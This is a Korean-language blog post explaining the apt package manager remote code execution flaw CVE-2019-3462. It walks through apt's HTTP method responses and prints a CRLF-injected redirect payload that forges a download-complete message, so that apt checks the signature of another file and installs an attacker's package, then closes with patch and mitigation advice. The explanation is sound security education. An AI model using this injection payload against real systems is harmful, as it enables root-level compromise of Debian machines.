최근에 apt 패키지 매니저 관련해서 RCE 취약점이 나왔었습니다. 물론 쉽게 공격 가능한 조건은 아니라 아주아주아주아주 크리티컬하진 않지만, 그래도 데비안 계열 배포판에선 무조건적으로 쓰이는 패키지 관리 툴이기 떄문에 여파가 좀 있었던 것 같습니다.
관련 내용 올라오자 마자 회사에서 따로 정리헀었는데, 기억 보듬어서 블로그에도 정리해봅니다 :)
What is apt?
apt는 데비안 계열에서 사용되는 패키지 매니저 입니다. 제 블로그 글에서도 apt가 굉장히 자주 나옵니다. 비슷한 툴로는 yum, pacman이 있습니다. 우선 apt 동작 원리를 가볍게 보고가면, /etc/apt/source.list에 정의된 아카이브 주소에 대해 접근해서 패키지 리스트를 받아오고(apt-get update), apt-get install 등을 통해 설치하게 되면 로컬에 저장된 패키지 리스트를 참고하여 원격지에 접근해서 다운로드하게 됩니다. 이 떄 다운로드 되는 파일은 .deb 파일(데비안 패키지 묶음)로 dpkg 통해서 개별 설치도 가능합니다.
아마.. dpkg 가 먼저 나오고 이를 관리하기 위해 apt가 나온걸로 알고있어요. (dpkg가 더 하위레벨 개념)
아무튼 다운로드된 .deb 파일을 시스템에서 설치하게 됩니다. 이 과정 전에 apt 자체적으로 의존성이랑 서명을 검증해줍니다. 아무튼 뭐 이런 툴입니다.
설치 과정을 좀 더 자세히 보면 이렇습니다.
apt-get install [패키지 이름]
이런식으로 명령을 줬을 때 위에서 이야기드린대로 로컬에서 세팅된 값을 보고 원격지 주소로 접근해서 다운로드 시도하게 되는데요, 이 떄 사용되는 요청 메소드가 /usr/lib/apt/methods/http 입니다.
줄여서.. apt/http 라고 부를께요.
apt/http는 아카이브 접근 후 아래와 같은 결과를 받아서 처리합니다.
201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0900
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
일단 http response와 많이 유사하고, hash나 filename, uri 등의 정보를 받습니다. 이 정보는 실제 파일을 가져와서 실행되는데 사용됩니다.
What Vulnerabiliy?
기사나 여러 웹에서도 이야기하듯이 MITM 시 원격코드 실행이 가능한 취약점입니다. 좀 더 자세히 이야기하면 MITM 공격이나 아카이브 미러 사이트에 침해가 있을경우 영향 있으며, root 권한으로 명령실행(임의의 deb 파일 설치)가 가능합니다. .deb 파일 또한 패키지의 묶음이기 때문에 결국은 명령이 실행되는 케이스입니다.
공격에 사용된 부분은 redirect되는 url, clrf(%0d0a) injection 입니다. 우선 아까 위애서 201 URI DONE으로 나타난 경우는 실제 파일이 있을 때 인데, 만약 다른 페이지로 redirect 되는 케이스가 있다며 apt/http는 이런 응답을 제공합니다.
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://www.hahwul.com
원래 웹 요청같은 경우는 이런 케이스이겠지요.
302 Redirect
Location: http://www.hahwul.com
아무튼 이런 케이스가 되면 원본 URI 아래 New-URI라는 필드로 apt/http가 가야할 링크가 삽입됩니다. 자 그럼 공격자가 위조한 URL에서 deb 파일을 받기 때문에 임의의 deb 설치가 가능한걸까요?
정답은 No 입니다.
CRLF Injection으로 서명 검증 우회하기
.deb 파일즉, 패키지 파일은 사용자가 서명해서 올리는게 아닌, apt source에 등록될 때 apt쪽 서명으로 파일의 무결성을 검증하게 됩니다. 그래서 임의의 파일 설치가 불가능하죠. (쟤네가 확인해준 파일이 아니기 때문에) 이 취약점의 메인은 이 부분입니다.
CRLF Injection으로 공격자는 apt/http의 응답값을 위조합니다. 만약 아카이브 링크가 이런 응답을 주면 apt는 어떻게 처리할까요?
302 Redirect
Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A
Location에 있는 Url을 New-URI에 집어넣고 다시 따라가려고 할텐데요, 실제로 들어가면 이렇게 들어가집니다.
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload
201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0900
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
New-URI 부분에 값이 들어가다가 개행문자를 만나서 개행해버리고, 공격자가 의도한대로 201 URI Done으로 구문이 작성됩니다. 결론적으론 apt/http의 response 상으로는 /payload 페이지 접근해서 파일을 받으라는 response로 해독될 수 있는데, 자세히 보시면 이상한게 하나 있습니다. 바로 Filename 부분이 deb.debian.org_debian_dists_stretch_Release.gpg 인데요, 이는 아까 서명 검증을 우회하기 위해 apt에서 서명해서 내려온 파일의 경로를 지정해준겁니다.
실제 설치는 URI에서 진행하고, 파일에 대한 검증은 Filename 부분에서 검증하다 보니 결국 서명은 정상적으로 보고있지만, 다른 파일의 서명을 읽어 처리했기 때문에 공격자가 만든 파일은 정상 서명으로 판단되어 넘어가지게 됩니다.
Conclusion
서명 우회 부분은 솔직히 좀 독특했습니다. 짧은 시간 훑어 본거지만, 굉장히 재미있었네요. 아 참 다시 정리하다보니 놓친게 보였네요.. (회사에 정리해둔거 다시 반영해놔야겠다..ㅋㅋ) 아무튼 임팩트있고, 재미있는 취약점이였고 대응 관련해선 업데이트해주시면 깔끔하게 마무리됩니다.
(패치 버전은 찾으면 금방 나오니 보시고 업데이트 고고)
임시로는 Redirect 방지(Acquire::http::AllowRedirect=false 옵션)라고 하는데, 솔직히 MITM 환경에선 Redirect가 문제가 아니라 CRLF 자체에 대한 부분이 더 커보여서 저 방법이 맞는지는 모르겠네요. 업데이트가 제일 좋은 방법이고, 장기적으론 아카이브 또한 https로 가는게 맞지 않나 싶습니다. (이거 아마 인증서 만료나 이런 사이드 이슈 생길까봐 대다수 아카이브들이 안하는걸까.. 이유를 모르겠군, 속도는 얼마 차이 없을텐데)
Reference
https://security-tracker.debian.org/tracker/CVE-2019-3462 https://usn.ubuntu.com/3863-1/ https://justi.cz/security/2019/01/22/apt-rce.html